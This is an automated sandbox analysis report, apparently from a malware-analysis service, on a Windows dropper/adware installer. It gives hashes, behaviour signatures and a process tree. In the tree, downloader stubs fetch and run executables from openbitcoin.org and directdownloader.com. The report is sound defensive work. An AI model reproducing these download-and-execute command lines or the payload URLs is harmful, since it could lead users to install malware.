Analysis

  • max time kernel
    150s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    04/10/2024, 01:29

General

  • Target

    1145a81f46dcc82a83cd42525ecab46d_JaffaCakes118.exe

  • Size

    367KB

  • MD5

    1145a81f46dcc82a83cd42525ecab46d

  • SHA1

    91fad580e528967b97e5d0714f5e076d8a1dfc7d

  • SHA256

    dc7ffe93d4ea1d6b99549d8ca84b14e359b38cdaba92d439b82c1d7811ab8f61

  • SHA512

    3bbff9183b4e7e5af162253728645b29deffa818b039e38090078a12f828a41b9f2cd0dc591f91ff3b66f9b7f0468b05f9eb66ae55a53cb35a55d3206bfc4156

  • SSDEEP

    6144:okNRExR6FlCLxpHWeny6/Ld9ueRK/+RpRit9Xt96/emiXTs5gBOTMKszpE6:oWRiYWxRWey62qLfJ2BXg5BInpF

Score
7/10

Malware Config

Signatures

  • Executes dropped EXE 11 IoCs
  • Loads dropped DLL 64 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 12 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • NSIS installer 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of WriteProcessMemory 33 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\1145a81f46dcc82a83cd42525ecab46d_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\1145a81f46dcc82a83cd42525ecab46d_JaffaCakes118.exe"
    1⤵
    • Loads dropped DLL
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:2064
    • C:\Users\Admin\AppData\Local\Temp\0c9e3fba215a43fee1eb630459736867\downloaderSTUB.exe
      C:\Users\Admin\AppData\Local\Temp\0c9e3fba215a43fee1eb630459736867\downloaderSTUB.exe /U "http://www.openbitcoin.org/static/dist/obc.exe" /D "C:\Users\Admin\AppData\Local\Temp\0c9e3fba215a43fee1eb630459736867\stub.exe"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      PID:5012
    • C:\Users\Admin\AppData\Local\Temp\0c9e3fba215a43fee1eb630459736867\downloaderSTUB.exe
      C:\Users\Admin\AppData\Local\Temp\0c9e3fba215a43fee1eb630459736867\downloaderSTUB.exe /U "http://openbitcoin.org/static/dist/OpenCL.dll" /D "C:\Users\Admin\AppData\Local\Temp\0c9e3fba215a43fee1eb630459736867\OpenCL.dll"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      PID:1092
    • C:\Users\Admin\AppData\Local\Temp\0c9e3fba215a43fee1eb630459736867\downloaderSTUB.exe
      C:\Users\Admin\AppData\Local\Temp\0c9e3fba215a43fee1eb630459736867\downloaderSTUB.exe /U "http://openbitcoin.org/static/dist/updater.exe" /D "C:\Users\Admin\AppData\Local\Temp\0c9e3fba215a43fee1eb630459736867\updater.exe"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      PID:1396
    • C:\Users\Admin\AppData\Local\Temp\0c9e3fba215a43fee1eb630459736867\downloaderDDLR.exe
      C:\Users\Admin\AppData\Local\Temp\0c9e3fba215a43fee1eb630459736867\downloaderDDLR.exe /U "http://www.directdownloader.com/DirectDownloaderInstaller.exe" /D "C:\Users\Admin\AppData\Local\Temp\0c9e3fba215a43fee1eb630459736867\DirectDownloaderInstaller.exe"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      PID:4628
    • C:\Users\Admin\AppData\Local\Temp\0c9e3fba215a43fee1eb630459736867\downloaderOFFER1.exe
      C:\Users\Admin\AppData\Local\Temp\0c9e3fba215a43fee1eb630459736867\downloaderOFFER1.exe /U "http://www.directdownloader.com/toolbars/PlayVolcano79048.exe" /D "C:\Users\Admin\AppData\Local\Temp\0c9e3fba215a43fee1eb630459736867\volcano.exe"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      PID:1888
    • C:\Users\Admin\AppData\Local\Temp\0c9e3fba215a43fee1eb630459736867\downloaderOFFER1.exe
      C:\Users\Admin\AppData\Local\Temp\0c9e3fba215a43fee1eb630459736867\downloaderOFFER1.exe /U "http://www.directdownloader.com/toolbars/PricePeepInstaller.exe" /D "C:\Users\Admin\AppData\Local\Temp\0c9e3fba215a43fee1eb630459736867\pricepeep.exe"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      PID:4824
    • C:\Users\Admin\AppData\Local\Temp\0c9e3fba215a43fee1eb630459736867\preinstaller.exe
      C:\Users\Admin\AppData\Local\Temp\0c9e3fba215a43fee1eb630459736867\preinstaller.exe 0 "file download" "Download"
      2⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      PID:4792
    • C:\Users\Admin\AppData\Local\Temp\0c9e3fba215a43fee1eb630459736867\preinstaller.exe
      C:\Users\Admin\AppData\Local\Temp\0c9e3fba215a43fee1eb630459736867\preinstaller.exe 4 "file download" "Download"
      2⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      PID:3196
    • C:\Users\Admin\AppData\Local\Temp\0c9e3fba215a43fee1eb630459736867\downloaderOFFER1.exe
      C:\Users\Admin\AppData\Local\Temp\0c9e3fba215a43fee1eb630459736867\downloaderOFFER1.exe /U "http://www.directdownloader.com/toolbars/BitAcceleratorDDLRinstaller.exe" /D "C:\Users\Admin\AppData\Local\Temp\0c9e3fba215a43fee1eb630459736867\BitAcceleratorDDLRinstaller.exe"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      PID:4820
    • C:\Users\Admin\AppData\Local\Temp\0c9e3fba215a43fee1eb630459736867\preinstaller.exe
      C:\Users\Admin\AppData\Local\Temp\0c9e3fba215a43fee1eb630459736867\preinstaller.exe 1 "file download"
      2⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      PID:5052
    • C:\Users\Admin\AppData\Local\Temp\0c9e3fba215a43fee1eb630459736867\preinstaller.exe
      C:\Users\Admin\AppData\Local\Temp\0c9e3fba215a43fee1eb630459736867\preinstaller.exe 3 "file download"
      2⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      PID:3652
  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --field-trial-handle=4292,i,8548254608087149642,10333768245962368401,262144 --variations-seed-version --mojo-platform-channel-handle=4112 /prefetch:8
    1⤵
      PID:3840

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Temp\0c9e3fba215a43fee1eb630459736867\downloaderOFFER2.exe

      Filesize

      58KB

      MD5

      c7f6ed56312c8fbb58ae6ed445c38df4

      SHA1

      e2dba94ef052db774478b9f7198c1a2298b334e5

      SHA256

      fdb8452173a4f116f6e362ab5466c3c16bf6697502fe3d01db0d82f0e339de24

      SHA512

      ac43e5bb31c3c0876a7768553916cce76d92088e62594e8463b128a0d6e587c48152a5efcf0b2a5e8fb43028d46913df114ae3c3750b7e6c4212c7044518ba43

    • C:\Users\Admin\AppData\Local\Temp\0c9e3fba215a43fee1eb630459736867\preinstaller.exe

      Filesize

      241KB

      MD5

      9d8fe8bcc4c493b2fd1da8d2b07ba57c

      SHA1

      aa9366eb9210c8a5398b5e55921c92ce8970df5b

      SHA256

      f33b7419880c7c90c999970e4c21febaaf6d39fdb02f9d9deafa8f8d97f3b3eb

      SHA512

      3fd58a0d7c870e8b07eb17f8f088d505ad98c7101733972f486a2946d18babfe0e4866ae28a16fe2481e006c26cbdf2d3eb1a2dd71bb44c084bbf14fea475216

    • C:\Users\Admin\AppData\Local\Temp\nsp77BD.tmp\Processes.dll

      Filesize

      35KB

      MD5

      2cfba79d485cf441c646dd40d82490fc

      SHA1

      83e51ac1115a50986ed456bd18729653018b9619

      SHA256

      86b302fa9c85dfa0c1c03ba000864a928365dab571f3355347dba02da22949b7

      SHA512

      cca186a7f9c5cff3f4eca410fbe8cc13dad2514a7e36aec9b1addfbcb239ace9b9b2d8427771858e3fd11783abce7e24d43c286f98da9f8b17562ca095a4c043

    • C:\Users\Admin\AppData\Local\Temp\nsr30C1.tmp\NSISdl.dll

      Filesize

      14KB

      MD5

      a5f8399a743ab7f9c88c645c35b1ebb5

      SHA1

      168f3c158913b0367bf79fa413357fbe97018191

      SHA256

      dacc88a12d3ba438fdae3535dc7a5a1d389bce13adc993706424874a782e51c9

      SHA512

      824e567f5211bf09c7912537c7836d761b0934207612808e9a191f980375c6a97383dbc6b4a7121c6b5f508cbfd7542a781d6b6b196ca24841f73892eec5e977

    • memory/2064-76-0x0000000000400000-0x0000000000447000-memory.dmp

      Filesize

      284KB

    • memory/2064-53-0x0000000000400000-0x0000000000447000-memory.dmp

      Filesize

      284KB

    • memory/2064-686-0x0000000000400000-0x0000000000447000-memory.dmp

      Filesize

      284KB

    • memory/2064-2397-0x0000000000400000-0x0000000000447000-memory.dmp

      Filesize

      284KB

    • memory/3196-54-0x0000000000400000-0x0000000000446000-memory.dmp

      Filesize

      280KB

    • memory/3652-393-0x0000000000400000-0x0000000000446000-memory.dmp

      Filesize

      280KB

    • memory/3652-687-0x0000000000400000-0x0000000000446000-memory.dmp

      Filesize

      280KB

    • memory/3652-969-0x0000000000400000-0x0000000000446000-memory.dmp

      Filesize

      280KB

    • memory/3652-1247-0x0000000000400000-0x0000000000446000-memory.dmp

      Filesize

      280KB

    • memory/3652-2073-0x0000000000400000-0x0000000000446000-memory.dmp

      Filesize

      280KB

    • memory/4792-51-0x0000000000400000-0x0000000000446000-memory.dmp

      Filesize

      280KB

    • memory/5052-61-0x0000000000400000-0x0000000000446000-memory.dmp

      Filesize

      280KB